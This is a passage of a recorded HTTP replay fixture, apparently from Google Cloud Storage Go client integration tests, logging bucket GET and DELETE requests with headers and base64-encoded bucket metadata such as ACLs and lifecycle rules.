MzM0MDM0MzIwMTMtMDAyMiIsInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIiwidmVyc2lvbmluZyI6eyJlbmFibGVkIjp0cnVlfX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "926" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqM_YYHcsYolLFJJwWhO9AUYmnc3Vp3J6C5AydYOy-0RVAmBxObG8QpwZOsn28vDVllo_OZ1-4bASi_RGi4wdply2CPhzUOCVjP11XNzVYZ4_EiFb4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjM0LjU2M1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjozNC41NjNaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOnRydWV9LCJsaWZlY3ljbGUiOnsicnVsZSI6W3siYWN0aW9uIjp7InR5cGUiOiJTZXRTdG9yYWdlQ2xhc3MiLCJzdG9yYWdlQ2xhc3MiOiJORUFSTElORSJ9LCJjb25kaXRpb24iOnsiYWdlIjoxMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOmZhbHNlLCJtYXRjaGVzU3RvcmFnZUNsYXNzIjpbIk1VTFRJX1JFR0lPTkFMIiwiU1RBTkRBUkQiXSwibnVtTmV3ZXJWZXJzaW9ucyI6M319LHsiYWN0aW9uIjp7InR5cGUiOiJEZWxldGUifSwiY29uZGl0aW9uIjp7ImFnZSI6MzAsImNyZWF0ZWRCZWZvcmUiOiIyMDE3LTAxLTAxIiwiaXNMaXZlIjp0cnVlLCJtYXRjaGVzU3RvcmFnZUNsYXNzIjpbIk5FQVJMSU5FIl0sIm51bU5ld2VyVmVyc2lvbnMiOjEwfX1dfSwibGFiZWxzIjp7ImwxIjoidjEiLCJlbXB0eSI6IiJ9LCJzdG9yYWdlQ2xhc3MiOiJORUFSTElORSIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "4931edd6fbd7e278", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0022?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2872" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpxOq-rTQ-0CFxAKezuPpbibtEmD_yASKzhW5dOiUdwVORx6a7_e1dmDnNCdamDPwLsBOpLueQD8iDbwlracb2uxGwwZ6yz92QD-t-JSKM-jSNp2xA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjM0LjU2M1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjozNC41NjNaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6dHJ1ZX0sImxpZmVjeWNsZSI6eyJydWxlIjpbeyJhY3Rpb24iOnsidHlwZSI6IlNldFN0b3JhZ2VDbGFzcyIsInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjEwLCJjcmVhdGVkQmVmb3JlIjoiMjAxNy0wMS0wMSIsImlzTGl2ZSI6ZmFsc2UsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTVVMVElfUkVHSU9OQUwiLCJTVEFOREFSRCJdLCJudW1OZXdlclZlcnNpb25zIjozfX0seyJhY3Rpb24iOnsidHlwZSI6IkRlbGV0ZSJ9LCJjb25kaXRpb24iOnsiYWdlIjozMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOnRydWUsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTkVBUkxJTkUiXSwibnVtTmV3ZXJWZXJzaW9ucyI6MTB9fV19LCJsYWJlbHMiOnsibDEiOiJ2MSIsImVtcHR5IjoiIn0sInN0b3JhZ2VDbGFzcyI6Ik5FQVJMSU5FIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "12c06b5419a1fa81", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0022?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoc24sLEBwU00YKpSYT4V6iJu3WxME2LgbyRWaYj4kX8s6Gjatzl0AWcCwPRhj_Bq0BOoUhKQzS8L0GJlhHC36eyEWEIs2rk2BcUyo0aE3U8XbuHuM" - ] - }, - "Body": "" - } - }, - { - "ID": "bf24dffbe6cb8609", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Etag": [ - "CA0=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqVkn03LSqmt8RiOPdW3JO4dpsS9vRp7VK8Qc0HwhmS3L9KDOgmyZIqLnvAwuAyvoIz1VsbqeoLwMMtz9pCIX216P4K3OpEs-x_bf_VSwMiFehgZiM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyNS41MjdaIiwibWV0YWdlbmVyYXRpb24iOiIxMyIsImFjbCI6W3sia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQTA9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0EwPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0EwPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQTA9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0EwPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQTA9In1dLCJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6ZmFsc2V9fSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfSwibGlmZWN5Y2xlIjp7InJ1bGUiOlt7ImFjdGlvbiI6eyJ0eXBlIjoiRGVsZXRlIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjMwfX1dfSwibGFiZWxzIjp7ImwxIjoidjIiLCJuZXciOiJuZXcifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0EwPSJ9" - } - }, - { - "ID": "2e41eac5e693f3e1", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026pageToken=\u0026prefix=\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "64746" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:35 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqgGJECa6hRJfdjE3ErHERxS3HPU_SALrzjf-HIDuv4lfxMvOwrkF2pfY2jUJ3b8TcIjWcnaa85Rs4LBucKffiSWfFXcfLZMF0EuiVRj9oH6Kp4tOg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbDEvMTU1NjgzNTg2NDI0ODE3MCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEiLCJuYW1lIjoiYWNsMSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0MjQ4MTcwIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjQuMjQ3WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjI1LjYyOVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyNC4yNDdaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6IjBFOXRGTnBaajAvV0tPSjZmVjlwYXc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wxP2dlbmVyYXRpb249MTU1NjgzNTg2NDI0ODE3MCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wxLzE1NTY4MzU4NjQyNDgxNzAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMS9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYWNsMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0MjQ4MTcwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPcitwY1h4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wxLzE1NTY4MzU4NjQyNDgxNzAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQyNDgxNzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3IrcGNYeC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wxL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYWNsMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0MjQ4MTcwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcitwY1h4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9